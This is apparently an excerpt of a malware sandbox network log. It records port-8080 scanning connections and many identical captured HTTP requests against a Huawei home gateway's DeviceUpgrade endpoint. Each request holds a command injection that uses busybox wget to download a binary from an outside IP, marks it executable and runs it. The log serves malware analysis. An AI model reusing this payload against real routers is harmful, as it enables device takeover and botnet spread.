Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.235.246.19:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.234.43.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 62.222.132.64:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.186.244.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.22.140.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.9.29.170:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 31.177.89.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.129.154.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 94.17.181.142:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 85.252.219.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:7173 -> 95.178.249.69:8080

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
